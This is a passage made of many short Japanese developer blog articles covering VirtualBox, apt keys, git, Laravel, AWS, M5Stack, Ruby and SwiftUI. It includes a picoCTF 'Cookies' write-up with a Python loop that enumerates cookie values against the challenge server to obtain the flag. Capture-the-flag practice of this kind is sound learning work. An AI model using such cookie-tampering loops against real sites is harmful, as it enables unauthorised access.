（注：下記は既に登録済みのもの、初期は何も入っていないはずです
設定情報の入力
適用->OKで設定完了

```
# 着信ポートのマッピング設定->設定したらOK押す->ポートの転送に設定情報が追加される->OK押す

ホストポート：2222
Type: TCP
VM IP: 接続先仮想サーバで確認したIPアドレス
VM Port: 22
````
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/ff56a16f-a8d4-42eb-91c6-9ff57a3a6e1c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/e7183235-615b-4d9a-b48f-bafe58f862a9.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/596363/87e5e0dd-dc2f-4e89-9a08-db6f3ad16cc0.png)

## 手順2 ：VSCODE設定

**\<VSCODE設定>**
VSCODEの設定は以前書いた以下記事の工程を参考にしてください。

https://qiita.com/tacky0127/items/51951e86eb51463a076d

VSCODEからSSH接続ができたら作業完了です。お疲れ様でした。
【GAS×ChatGPTで作る】LT会の発表順決定アプリ （第1回：作るもの）

## 1. はじめに
Google Apps Script (GAS) を利用して、LT会の発表順を決定するWebアプリの作成方法を２回に分けて説明します。
ChatGPT にプロンプトを入力してソースコードを生成、スプレッドシートと連携、発表者の名前や発表時間を入力することで、発表順を決定できるアプリを作ることができます。

 - 第1回：作るもの　←今回の記事はこちら
   - LT会の発表順を決定するWebアプリ
 - 第2回：作り方
   - Google Apps Script (GAS) を利用
   - ChatGPT にプロンプトを入力して、GAS のソースコードを生成


## 2. 作ろうと思ったきっかけ
 - LT会では発表順の決定や時間配分の調整が必要
   ↓
 - 発表者や発表時間の情報を入力後、自動で発表順が決まる仕組みがあれば便利
   ↓
 - ChatGPTとGASでWEBアプリを作ろう！


## 3. 実現したい事
 - 開始時間
      - 開始時間は柔軟に変更できるようにしたい
 - 氏名入力
      - 予め発表が決まっている方はプルダウンで選択したい
      - LT会当日に発表する事が決まった方は直接入力したい
 - 発表時間
      - デフォルトは【5分】に設定したい
      - 各発表の間に【1分】の交代時間を考慮したい
 - 発表順の固定
      - 発表の「最初」と「最後」を希望する方がいる場合、固定したい
 - 発表順の表示
      - 順番・発表者・時間を見やすい形で表示したい


## 4. アプリの説明　

### 4-1. 画面の構成
 - TOP画面
    - 氏名や発表時間を入力する画面
     ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3949409/c2048497-7bb5-4005-87bb-9ad53d0b6b43.png)
 - 発表順のポップアップ画面
      - 発表順をテーブル形式で表示
        ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3949409/80af2c84-19cf-47a3-b1c9-3ea8919a0d85.png)


### 4-2. 機能概要
 - 開始時間
      - デフォルト時間を【20:00】に設定
      - 直接入力で開始時間を変更可能
 - 氏名入力
      - 直接入力＋候補プルダウン形式（スプレッドシートのデータを利用）
      - 入力欄追加ボタンを用意して、最大【20名】まで対応可能
      - 入力候補は、他の入力欄で既に選択されている名前は表示しない
 - 発表時間
      - 初期値は【5分】に設定
      - 各発表の間に【1分】の交代時間を加算して、次の開始時間を計算
 - 発表順の固定
      - 「最初」「最後」のチェックボックスで発表順を固定可能
      - 同じ人に両方チェックはできないように制御
 - 発表順の表示
      - 順番・発表者・時間をテーブル形式で表示
      - 発表順はポップアップウィンドウで表示し、マウスでドラッグ移動可能


### 4-3. プロンプト例とソース構成
 - ChatGPT に入力して、ソースコードを生成
   ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3949409/fe79097e-d0d7-45d7-bf47-0ea1221f6ae4.png)

 - 以下、プロンプト例 
```
GASでWEBアプリを作りたい

【作るアプリ】
・LT会の発表順をシャッフルして決定し、開始時間から各発表のスケジュールを表示するアプリ

【作る機能】
・開始時間
  - デフォルト時間を【20:00】に設定
  - 直接入力で開始時間を変更可能
・氏名入力欄
  - プルダウンと直接入力の併用
  - スプレッドシートの「Sheet1」B列2行目以降を使用
・入力欄追加
  - 最大【20名】まで入力可能
・発表時間
  - 初期値は【5分】に設定
  - 各発表間に【1分】の隙間を設定
・チェックボックス
  - 「最初」「最後」チェックボックスで発表順の先頭・末尾に固定可能
  - 同じ人に両方は選択不可
・発表スケジュール
  - テーブル形式でポップアップ表示（順番、発表者、時間：比率1:3:4）
  - ドラッグ移動可能

【ソース構成】
・index.html
  - ユーザーインターフェース
  - 入力欄、実行ボタン、ポップアップ
・style.css
  - デザイン
  - レイアウト、ポップアップ、ドラッグ移動のスタイル
・script.js
  - クライアント
  - 入力欄追加、スケジュール計算、ドラッグ機能
・code.gs
  - バックエンド
・スプレッドシート
  - 氏名候補を配置
  - "Sheet1" のB列2行目以降

```

以上で作ったもの説明を終わります。
作り方は第2回で説明します。

最後まで読んでいただき、ありがとうございました！
apt の souces.list.d に関する備忘録

# はじめに

Ubuntu で Vivaldi と vscode を使っているのですが、気づいたらなんか apt で更新されなくなっていたので対応しました。

\# たぶんメジャーバージョンをあげた時だとは思うのですが

なんとなく公開鍵の有効期限が切れたころに、作業がまた必要になりそうなので、作業記録を残します。

# 原因

調べたところ、apt の電子署名用公開鍵の扱い方が変わったことが原因とのことでした。
Vivaldi と vscode 双方ともに snap のパッケージがあるので、snap を使うのがおそらく推奨される方法のように思えます。

しかし、snap で vivaldi を入れるとローカルの HTML が開けなさそうであったため、aptを使う方法を更新しました。

## 対応方法

### 電子署名用の鍵の取得

Vivaldi 公開鍵の取得方法以下のサイトを参照しました。

https://help.vivaldi.com/ja/desktop-ja/install-update-ja/vivaldi-official-builds/
```console
$ wget https://repo.vivaldi.com/stable/linux_signing_key.pub
```

取得した鍵を /etc/apt/keyrings 以下にコピーします。
このディレクトリはなんか既に存在しました。適当に調べたところファイル名は ASC 形式(テキスト形式)の場合サフィックスに .asc とする必要があるとのことです。

``` console
$ sudo install -o root -g root linux_signing_key.pub /etc/apt/keyrings/packages.vivaldi.asc
```

vscode 用の公開鍵も同様に取得し /etc/apt/keyrings 以下にコピーします。
この鍵の URL は Microsoft のサイトからのリンクは見当たらなかったので、適当な記事から取得しました。

```console
$ wget https://packages.microsoft.com/keys/microsoft.asc
$ sudo install -o root -g root microsoft.asc /etc/apt/keyrings/packages.microsoft.asc
```

### apt のソースの設定

/etc/apt/sources.list.d 以下を確認したところ、vivaldi.sources というファイルがありました。
おそらく、以前の /etc/apt/sources.list から Ubuntu のメジャーバージョンを上げたときにインストーラがフォーマットを新しいものに変更してくれたものだろうと思います。

``` /etc/apt/sources.list.d/vivaldi.sources
Enabled: no
Types: deb
URIs: https://repo.vivaldi.com/stable/deb/
Suites: stable
Components: main
```

適当に調べたところ、このファイルの書き方はよくわからなかったため、ubuntu.sources を参考に公開鍵を指定しました。また、apt upgrade を実行したところ、i386をサポートしてないとの警告がでたため、以下のサイトを参考にアーキテクチャを指定しました。

https://askubuntu.com/questions/1514281/ubuntu-24-04-apt-specify-architecture-using-sources-files

最終的な内容は以下の通りです。

``` /etc/apt/sources.list.d/vivaldi.sources
Types: deb
URIs: https://repo.vivaldi.com/stable/deb/
Suites: stable
Components: main
Signed-By: /etc/apt/keyrings/packages.vivaldi.asc
Architectures: amd64
```

vscode も同様に vscode.sources を以下の内容に変更しました。

``` /etc/apt/sources.list.d/vscode.sources 
Types: deb
URIs: https://packages.microsoft.com/repos/code
Suites: stable
Components: main
Signed-By: /etc/apt/keyrings/packages.microsoft.asc
Architectures: amd64
```

これで apt で Vivaldi と vscode が更新できるようになりました。

以上です。
GitHub本当に何もわからない

# 基本的なGitHubコマンドまとめ

## セットアップと設定

```bash
# 名前とメールアドレスの設定
git config --global user.name "あなたの名前"
git config --global user.email "あなたのメール"

# リポジトリをクローン（ダウンロード）
git clone https://github.com/ユーザー名/リポジトリ名.git

# リモートリポジトリの追加
git remote add origin https://github.com/ユーザー名/リポジトリ名.git

# リモートリポジトリの確認
git remote -v
```

## 基本的な作業フロー

```bash
# ファイルの変更状態を確認
git status

# 変更をステージング（コミットの準備）
git add ファイル名    # 特定のファイルを追加
git add .           # 全ての変更を追加

# 変更をコミット（記録）
git commit -m "変更内容の説明"

# 変更をGitHubにプッシュ（アップロード）
git push origin ブランチ名

# 最新の変更をGitHubから取得
git pull origin ブランチ名
```

## ブランチ操作

```bash
# 現在のブランチを確認
git branch

# 新しいブランチを作成
git branch ブランチ名

# ブランチを切り替え
git checkout ブランチ名

# ブランチを作成して切り替え（上記2コマンドの組み合わせ）
git checkout -b ブランチ名

# ブランチをマージ
git merge ブランチ名

# ブランチを削除
git branch -d ブランチ名

# リモートブランチを削除
git push origin --delete ブランチ名
```

## 変更の確認と取り消し

```bash
# 変更履歴を確認
git log
git log --oneline    # 簡易表示

# ファイルの変更内容を確認
git diff
git diff ファイル名

# ステージング前の変更を取り消し
git checkout -- ファイル名

# コミット前のステージングを取り消し
git reset HEAD ファイル名

# 直前のコミットを修正
git commit --amend -m "新しいコミットメッセージ"
```

## コラボレーション

```bash
# 特定のコミットを取得（他の人の作業内容など）
git fetch origin

# リモートブランチを確認
git branch -r

# マージせずに変更を取り込む（リベース）
git pull --rebase origin ブランチ名

# 競合（コンフリクト）解決後の続行
git rebase --continue
```

## その他の便利なコマンド

```bash
# コミット履歴をグラフィカルに表示
git log --graph --oneline --all

# 一時的に作業を退避
git stash

# 退避した作業を復元
git stash pop

# 特定のコミットに一時的に切り替え
git checkout コミットID
```

このコマンドリストを基本として、必要に応じて使い方を覚えていくと良いでしょう。初めは `git status`、`git add`、`git commit`、`git push`、`git pull` の基本コマンドを使いこなすことに集中するといいと思います。
【Git】過去に存在しない未来のファイルの中身を更新して、その過去時間でPUSHするとどうなるのか？

<h2>やること</h2>
過去時間を指定してpushすることで、過去の時間に草が生えることが分かった

では、未来に生まれたファイルを更新して、その内容をPush場合、以下を検証する
・草が生えるのか？
・コンフリクトが起きないのか？(このファイルは存在しないからエラーになるか？)

<h2>検証</h2>
まず検証前の草の様子

2/13に草が生えていないことが確認できる

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927880/729ae71e-2b3e-4324-8bc9-1bd74c961958.png)

実際にCommitとpushをしていく
すると、エラーが表示されてコンソール上では正常にPUSHできたようだ

```terminal:未来のファイルの中身を更新後
git add -A
git commit -m "コメント" --date="feb 13 23:59:59 2025 +0900"
[main 48b59fe] コメント
 Date: Thu Feb 13 23:59:59 2025 +0900
 1 file changed, 3 insertions(+)
git push 
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 20 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 388 bytes | 388.00 KiB/s, done.
Total 4 (delta 3), reused 0 (delta 0), pack-reused 0
remote: Resolving deltas: 100% (3/3), completed with 3 local objects.
remote: This repository moved. Please use the new location:
remote:   https://github.com/TKWebSE/AtCoder.git
To https://github.com/TKWebSE/Atcoder.git
   bb3f03f..48b59fe  main -> main
```


草を確認すると、期待通り2/13のところに草が生えていた

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927880/48180e39-1c00-41b9-ad88-18656f832fb3.png)

<h2>結論</h2>
過去に存在しないファイルを更新しても、草は生える！！

before

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927880/729ae71e-2b3e-4324-8bc9-1bd74c961958.png)

after

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/927880/c15902fc-68ca-4611-8600-725856300426.png)


<h2>参考</h2>

https://qiita.com/TK_WebSE/items/aa8c3f7c6ad1900345d7

https://qiita.com/TK_WebSE/items/6d503edab6687b3fd92a
オブジェクト指向について

### すっきり分かるJava入門編を勉強していて、今までよりオブジェクト指向についてイメージが鮮明になったのでアウトプットしておこうと思います。

　オブジェクト指向という考え方は定義が曖昧で理解しにくいものであり、私自身理解できてないと思いますが、書籍では、現実の物や人などをクラスのインスタンスに置き換えて考えるとありました。

 　今まではコードの共通の部分をインスタンス化によって、書く量が減り、作業が楽になるくらいのイメージでした。

   　システム開発とは今まで人がやっていたことを機械で自動化させることですよね。つまり、その人や物をクラスのオブジェクトとすることで機械が代わりにやってくれる仕組みを作ることができるという考えだと知りました。

継承についてもis-aという考え方を知りました。これは子クラスが親クラスの一部であるという考え方です。オブジェクトとは実際の人や物を置き換えたものなので、コード的に問題がなくても、現実世界で不自然な関係になる継承はしてはいけません。

 　この考え方がすごく分かりやすくて、僕は感動しました。私の入社する企業では、システム開発において知見を広げることを重視しています。この意味がやっと分かった気がします。
　 良いシステム開発をするならば、現実の仕組みをクラス、オブジェクトに置き換えたらどうなるのかという仮説を日常で考えるべきなんだと知りました。
CookiesのWriteUp

# WriteUp
問題のURLにアクセスするとクッキーの名称を入力してSearchボタンを押すと
クッキーに応じたテキストが返ってくる。

問題のタイトルからCookieをいじることがわかる。

'Snickerdoodle'と入力してSearchボタンを押すとCookieでname=0とセットして
POSTしている。

クッキー以外のテキストを入力してSearchボタンをおすとname=-1とセットして
POSTしている。

適当にnameをセットしてPOSTするコードを書いてみるとフラグが手に入った。

```
url = "http://mercury.picoctf.net:54219/search"


for i in range(0,100):
    print(f"\r{i}", end="", flush=True)
    time.sleep(1)
    cookies = {'name': f'{i}'}
    response = requests.post(url, cookies=cookies)
    if re.findall(r"picoCTF\{.*\}", response.text):
        break

print(response.text)
```

# 余談
>スニッカードゥードル（Snickerdoodle）は、シナモンシュガーでコーティングされたアメリカのお菓子で、クッキーの一種です。﻿

へー
[実践]CloudFront + S3リダイレクト機能によるドメインリダイレクト

![001samune.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/d919c4db-f7fd-4a90-baf9-e4244b60e806.png)


# 概要
こちらの記事でAWSサービスを使ったドメインリダイレクト手法についてまとめました。
その中でCloudFront関連の方法を試していこうと思い記事にします。
今回は「CloudFront+S3リダイレクト機能」編です。

https://qiita.com/tyskJ/items/b0070eeeaa42813c3867


# 実践
### 構成図
* CloudFrontに代替ドメインでアクセス
* カスタムオリジンとして指定したS3のウェブサイトエンドポイントにリクエストを転送
* ウェブサイトエンドポイントに設定したリダイレクトルールに基づき、別ドメインにリダイレクト
* リダイレクト先のALBにリクエストを転送

![画像4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/eaa9e918-a8a2-4137-bcee-7b173b60d88f.png)

### デプロイ
環境はGitHubで公開しています。
各コードとデプロイ方法を用意してますのでお試しください。

https://github.com/tyskJ/aws-cloudfront-s3-staticwebsitehosting-redirect


### 設定値
各ポイントとなる設定値を見ていきます。
#### CloudFront
##### ディストリビューションには代替ドメインを設定
![画像13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/a49b2b5e-9531-496a-931a-b5b89180bbf0.png)

##### カスタムオリジンとして静的ウェブサイトホスティングが有効化されたS3バケットのウェブサイトエンドポイントを指定
![画像8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/62e5c56a-a7dc-41aa-8a6a-ca96415acdb3.png)

#### S3
##### 匿名アクセスのためデフォルト暗号化はSSE-S3
![画像9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/39b19486-01aa-4b30-b571-4a0eff9eeadd.png)

>AWS キー管理サービス (AWS KMS) は匿名リクエストをサポートしていません。匿名アクセスまたはパブリックアクセスを許可する Amazon S3 バケットは、AWS KMS で暗号化されたオブジェクトにこのアクセスを適用しません。提供したい S3 オブジェクトから AWS KMS 暗号化を削除します。AWS KMS 暗号化の代わりに AES-256 を使用してオブジェクトを暗号化します。

https://repost.aws/ja/knowledge-center/s3-website-cloudfront-error-403

##### 匿名アクセスのためパブリックアクセスはオフ
![画像10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/9eaa276b-efd1-4f93-8cbd-14aabf8d6eb5.png)

:::note info
ACLは無効であることと、意図しないACLによるオブジェクトの公開を防ぐためACLに関してはブロックパブリックアクセスをオンにしています
:::

##### CloudFront経由でのアクセスのみを許可するバケットポリシー
![画像11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/8d59c1b5-fee3-41a6-a404-4011706ced33.png)

:::note warn
UserAgentは偽装可能であるためセキュリティは完全でないですが、公開してよいオブジェクトであるため許容しています
:::

##### 特定のURLパスリクエスト時に別ドメインへリダイレクト
* ディストリビューションに設定した代替ドメインへのリクエストパスが「test1/」もしくは「test2/」の場合に、別ドメインへリダイレクトする設定を入れています

![画像12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/e10c2bf1-56aa-42c0-a200-cf323e09d989.png)

### 動作確認
まずブラウザで「https://ディストリビューション代替ドメイン/」 を検索しリダイレクトルールに引っかからない場合を見ていきましょう。
この場合は、ディストリビューションに設定したデフォルトルートオブジェクトをオリジンから取得しレスポンスを返します。
![画像14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/0781c1c7-80d5-4f12-b314-bde9005a0225.png)

続いて「https://ディストリビューション代替ドメイン/test1/」 を検索しリダイレクトルールに引っかかる場合を見ていきましょう。
この場合は、リダイレクトルールの *HostName* で指定したホストにリダイレクトされ、リダイレクト先にコンテンツを取得しに行きます。
![画像15.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/a6eb3692-458b-4acd-b851-6cbccd4c67e9.png)

「https://ディストリビューション代替ドメイン/test2/」 も同様にリダイレクトされていますね。
![画像16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3984127/93d246c9-2e63-47cc-a209-59317c8fe533.png)


# まとめ
今回は「CloudFront+S3リダイレクト機能」を試してみました。
リダイレクト機能を簡易的かつセキュアに実装できる点はメリットだなと感じました。
次回は「CloudFront Functions」編を記事にしたいと思います。
laravel コンポーネントの使い方

# コンボーネントとは？
 
Bladeテンプレート機能の一つで、再利用できるUIを作成できる機能。
引数を渡すこともできるのカスタマイズ性もある。

# コンポーネントの作成
     php artisan make.component Forms/Input
上記のコマンドで 
App/Views/Components/Fomrs/ に Input.php という処理用のファイル
resources/views/components/forms/ に input.blade.php というデザイン用のファイル
が作られる

　# パッケージコンポーネントの手作業登録

App/Http/Providers/AppService/Provider

    namespace App\Providers;
    
    use Illuminate\Support\ServiceProvider;
    use Illuminate\Support\Facades\Blade;
    use App\View\Components\Forms\Button;
    use App\View\Components\Forms\Input;
    
    class AppServiceProvider extends ServiceProvider
    {
        
        public function boot(): void
        {
            Blade::component('input',Input::class);
        }
    }

コンポーネントを登録すると、レンダリングすることができる。

    <x-input>
通常のレンダリングは、Bladeファイル名を利用する。
resources/components/ より深いディレクトリ内にある場合、.をつけてレンダリングする。
    
    <x-forms.input>


# 参考文献
https://readouble.com/laravel/10.x/ja/blade.html
EFSについて

## EFSとは？
Elastic File Systemの略で、AWSにおけるフルマネージドなNFSサービス。

### NFSとは
NFSの特徴を以下に記載します。

1. ネットワーク越しにファイルを共有
NFSサーバ上のディレクトリをNFSクライアントがマウントして、ローカルのディレクトリのように扱える
1. 透過的なアクセス
クライアントはNFSサーバのファイルを自分のローカルファイルのように操作できる
1. 標準プロトコルTCP/IPネットワーク上で動作し、異なるOS間でもファイルを共有できます
1.主なバージョン
NFSv2（古いが軽量）
NFSv3（大容量ファイルのサポート、非同期書き込みの改善）
NFSv4（セキュリティ強化、ロック機能の改善）

## NFSの主な用途として
Linuxサーバー間でのデータ共有
HPC（高性能計算）環境でのストレージ共有
AWSのEFS（Elastic File System）などクラウド環境での利用

### EFSの構成要素
EFSは、「ファイルシステム」と「マウントターゲット」という2つの主要な構成要素から成り立ちます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3942702/1232d7d9-65c1-44f4-8d47-de9b5abc5474.png)

- ファイルシステム　<br>ファイルを保存するための論理的なストレージ領域
VPC内に作成され、複数のAZにまたがってデータを複製することで、高可用性を実現する。
- マウントターゲット<br>ファイルシステムへのアクセスを提供するエンドポイント。
各AZにマウントターゲットが作成され、EC２インスタンスはそのマウントターゲットを介してファイルシステムにアクセスする。
M5Stack Unit ASRを日本語で使ってみる

# はじめに

オフラインで音声認識/音声合成が可能な「M5Stack Unit ASR」が登場したので使ってみましたが、やはり、日本語で使いたいということで、試してみました。

# 使い方

使い方は @GOROman さんが書いてくださっているので、そちらをご覧ください。@GOROman さん、ありがとうございます。
[M5Stack Unit ASRで始めるオフライン音声認識](https://qiita.com/GOROman/items/f7eaa86461c6165fa115)

# 日本語化

日本語テンプレートを使って、Smart Pi Platformでファームウェアを作成します。
テンプレート: [Unit_ASR_Firmware_Config_Template_JP.json](https://raw.githubusercontent.com/fukuen/m5stack-unit-asr/refs/heads/main/template/Unit_ASR_Firmware_Config_Template_JP.json)

作成されたFW: [jx_firm.tar.gz](https://github.com/fukuen/m5stack-unit-asr/raw/refs/heads/main/firmware/jx_firm.tar.gz)

読み上げ音声のVOICE VOX春日部つむぎ版: [jx_firm_20250305.tar.gz](https://github.com/fukuen/m5stack-unit-asr/raw/refs/heads/main/firmware/jx_firm_20250305.tar.gz)

# コマンド一覧

| コマンド番号 | ワード | 応答 | 備考 |
| --- | --- | --- | --- |
| 0xFF | えむふぁいぶ | こんにちは | ウェイクワードとして動作 |
| 0x01 | うえ | おーけー |  |
| 0x02 | した | おーけー |  |
| 0x03 | ひだり | おーけー |  |
| 0x04 | ひだりにまわす | おーけー |  |
| 0x05 | みぎ | おーけー |  |
| 0x06 | みぎにまわす | おーけー |  |
| 0x07 | すすむ | おーけー |  |
| 0x08 | まえ | おーけー |  |
| 0x09 | うしろ | おーけー |  |
| 0x0A | もどる | おーけー |  |
| 0x10 | ひらく | おーけー |  |
| 0x11 | とじる | おーけー |  |
| 0x12 | かいし | おーけー |  |
| 0x13 | ていし | おーけー |  |
| 0x14 | おん | おーけー |  |
| 0x15 | おふ | おーけー |  |
| 0x16 | さいせい | おーけー |  |
| 0x17 | いちじていし | おーけー |  |
| 0x18 | あかりをつける | おーけー |  |
| 0x19 | あかりをけす | おーけー |  |
| 0x1A | まえに | おーけー |  |
| 0x1B | つぎに | おーけー |  |
| 0x20 | ぜろ | おーけー |  |
| 0x21 | いち | おーけー |  |
| 0x22 | に | おーけー |  |
| 0x23 | さん | おーけー |  |
| 0x24 | よん | おーけー |  |
| 0x25 | ごー| おーけー | 認識しない？ |
| 0x26 | ろく | おーけー |  |
| 0x27 | なな | おーけー |  |
| 0x28 | はち | おーけー |  |
| 0x29 | きゅう | おーけー |  |
| 0x30 | オッケー | おーけー |  |
| 0x31 | えーえすあーる | こんにちは | ウェイクワードとして動作 |
| 0x32 | こんにちは | こんにちは | ウェイクワードとして動作 |
| 0x40 | おんりょうあっぷ | おーけー |  |
| 0x41 | おんりょうだうん | おーけー |  |
| 0x42 | おんりょうおさいだい | おーけー |  |
| 0x43 | おんりょうちゅう | おーけー |  |
| 0x44 | おんりょうさいしょう | おーけー |
| 0x45 | ファームウェアのバージョン | バージョン いち |  |
| 0xFE | - | はい、えーえすあーるです |  |
| 0x50 | - | ぜろ |  |
| 0x51 | - | イチ | 正しく読み上げできない |
| 0x52 | - | ニ | 正しく読み上げできない |
| 0x53 | - | さん |  |
| 0x54 | - | ヨン | 正しく読み上げできない |
| 0x55 | - | ご |  |
| 0x56 | - | ロク | 正しく読み上げできない |
| 0x57 | - | なな |  |
| 0x58 | - | ハチ | 正しく読み上げできない |
| 0x59 | - | きゅう |  |
| 0x5A | - | じゅう |  |

# 最後に

英語の初期テンプレートの数十個を日本語化したところ、想像以上に正確に識別できるようです。一方、読み上げは若干違和感がありました。

すこし使ってみたところで気づいた点としては、

- 認識しづらい言葉がある（数字の五「ご」、「ごー」にしてみたが。。。）
- 発音のアクセントは少し違和感がある（日本語の話者は女性の「櫻子」さんのみだが。。。）
- 正しく読み上げできない文字がある（「バージョン いち」は読み上げできるが、「いち」はうまくいかない、など）
IT業界未経験がITパスポート試験に2週間で合格した話

# はじめに
2025年2月にITパスポート試験に合格することができました。
**勉強期間は約2週間、総勉強時間は60時間ほどです。**

![スクリーンショット 2025-03-02 225730.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3990896/fd5cf792-1845-4892-8bfc-3067cb2bc6b3.png)

前日に解いた過去問では約8割の点数で、本番では約7割の点数でした。
他の方の体験談を拝読しても、本番で1割程度点数が下がることが多いようです。
よって、**過去問で7.5割以上を取ることが合格の目安になりそうです。**



## 使用した教材
+ [【令和7年度】いちばんやさしい ITパスポート 絶対合格の教科書＋出る順問題集](https://amzn.asia/d/bW8h2Ry)

+ [ITパスポート過去問道場](https://www.itpassportsiken.com/ipkakomon.php)

+  [CBT試験疑似体験ソフトウェア](https://www3.jitec.ipa.go.jp/JitesCbt/html/guidance/trial_examapp.html)

## 勉強の流れ
1. ゴールを明確にする。
1. 試験を予約する。
1. [1週間目] [参考書](https://amzn.asia/d/bW8h2Ry)を一読する。
1. [2週間目] [「過去問道場」](https://www.itpassportsiken.com/ipkakomon.php)で過去問を解く。
1. [試験前日] [「CBT試験疑似体験ソフトウェア」](https://www3.jitec.ipa.go.jp/JitesCbt/html/guidance/trial_examapp.html)で直近一回分の過去問を解く。

おおまかに、このように勉強を進めました。
各ステップについて詳しく説明していきます。

## 1.ゴールを明確にする。
以下の三点をなんとなく考えておくと、学習の継続が楽になります。
+ **なぜ資格を取りたいのか？**
+ **いつまでに資格を取りたいのか？**
+ **何を達成したいのか？**

私の場合は、以下のようにゴールを設定していました。
+ **なぜ資格を取りたいのか？**
→転職のアピール材料にするため。
+ **いつまでに資格を取得したいのか？**
→転職の一次面接の開始前。約二週間後。
+ **何を達成したいのか？**
→ITパスポート試験に合格する。


## 2.試験を予約する　
7500円を払って覚悟を決めます。
試験日時は、試験３日前までなら前後に移動することができます。

## 3.[1週間目]参考書を一読する。
まずは参考書を一周します。

ここで重要なことは、途中で止まらないこと。
ざっくりの理解でいいので、一章/h 程度のペースで読み進めます。

## 4.[2週間目] 過去問道場の過去問をひたすら解く
過去問一回分を解く→点数が低い分野の分野別過去問を解く
を繰り返します。（私は6割以下の分野の問題を重点的に解いていました。）

わからないことがあれば参考書の該当部分を読み直します。
　
**※ここで、直近一回分の過去問だけは解かないようにします。**
理由は次の4を読んでください。

## 5. [試験前日] [「CBT試験疑似体験ソフトウェア」](https://www3.jitec.ipa.go.jp/JitesCbt/html/guidance/trial_examapp.html)で直近一回分の過去問を解く。
本番さながらの環境で、現在の自分の実力を把握します。
また、CBT試験の操作方法も予習できます。

※他の体験談ではあまり見かけませんでしたが、個人的にしておいてよかったことの一つです。例えば、ITパスポート試験では、後で見直したい問題にチェックをつけることができます。その「チェックの付け方」「チェックを付けた問題を一覧表示する方法」などを確認できます。

# 終わりに
ITパスポート試験はITの入門知識＋ビジネス知識が浅く広く学べる試験です。この記事がITパスポート試験に挑戦する方のお役に立てばうれしいです。
Ruby 特異メソッド・特異クラス わかりやすく解説！

## はじめに
Rubyの独自機能 <b>特異メソッド・特異クラス</b>についてわかりやすく解説します❗️

## 目次
1. [特異メソッドとは？](#特異メソッドとは)
2. [特異クラスとは？](#特異クラスとは)
3. [まとめ](#まとめ)

## 特異メソッドとは？
<b>「ある特定のオブジェクトだけが使える特別なメソッド」</b>

普通のインスタンスメソッドは、クラス全体に適用される。
一方、特異メソッドは<b>「そのオブジェクトだけ」</b>に追加される！

```ruby
class Cat
  def speak
    "にゃー"
  end
end

tama = Cat.new
shiro = Cat.new

# tama だけに特異メソッドを定義！
def tama.speak
  "ゴロゴロ…"  # tama だけ特別な喋り方をする
end

puts tama.speak  # => "ゴロゴロ…"
puts shiro.speak # => "にゃー"（元のクラスのメソッドが適用）

```
👉 tama だけが特別な speak メソッドを持っている！
👉 shiro には影響なし！

## 特異クラスとは？
<b>「特異メソッドを格納するための隠れクラス」</b>

実は、Ruby ではオブジェクトごとに専用のクラス（特異クラス）が作られる！
これが特異メソッドの正体。

### 特異クラスへのメソッド追加
```ruby
tama = "猫"

class << tama
  def speak
    "ゴロゴロ…"
  end
end

puts tama.speak  # => "ゴロゴロ…"
```
👉 class << tama の中で定義すると、そのオブジェクトの特異クラスにメソッドが追加される！

### 特異クラスの階層を確認
```ruby
tama = "猫"
def tama.speak
  "ゴロゴロ…"
end

puts tama.singleton_class  # => #<Class:#<String:0x0000...>>
puts tama.singleton_class.superclass  # => String
```
👉 singleton_class で特異クラスを取得できる
👉 特異クラスは元のクラス（String）を継承している


## まとめ

* 特異メソッド = 特定のオブジェクトだけが持つメソッド
* 特異クラス = 特異メソッドを格納するための隠れクラス
* 特異クラスにメソッド追加：<b>def　{オブジェクト名}.{メソッド名}</b> で定義
* 特異クラスを直接操作：<b>class << {オブジェクト名}</b> で定義

Ruby のクラス構造が柔軟なのは、この特異クラスのおかげ！ふむふむ..
これで、オブジェクトごとにカスタマイズできるんだな！ 😆✨
AndroidエンジニアがSwiftUIをやってみてわからんかったこと3選

# この記事で伝えたいこと
普段Androidエンジニアをやっている私がSwiftUIに挑戦してみて、理解するのに時間がかかった、あるいはまだ理解できていないことをつらつら書いていきます。
Swift自体ちゃんとやったことがないので、そこからわからないことが多かったです。

# SwiftUIをやってみた経緯
KMP(Kotlin Multiplatform)やCMP(Compose Multiplatform)、Flutterといったクロスプラットフォームに興味を持っていたので、まずはKMP+SwiftUIという構成でiOSアプリを作ってみることにしました。
CMPを選ばなかったのは、まずはSwiftUIを使ってみてJetpack Composeとの違いを感じてみたかったからです。

まだ[SwiftUIのチュートリアル](https://developer.apple.com/tutorials/swiftui)しかやっていないので、今回の記事ではKMPには触れません。
それにしても、昨今のクロスプラットフォームは選択肢が多くて迷いますよね。

# すぐに理解できなかったものたち

まずはコードの全体像から
```Landmarks.swift
struct LandmarkList: View {
    @Environment(ModelData.self) var modelData
    @State private var showFavoritesOnly = false
    
    var filteredLandmarks: [Landmark] {
        modelData.landmarks.filter { landmark in
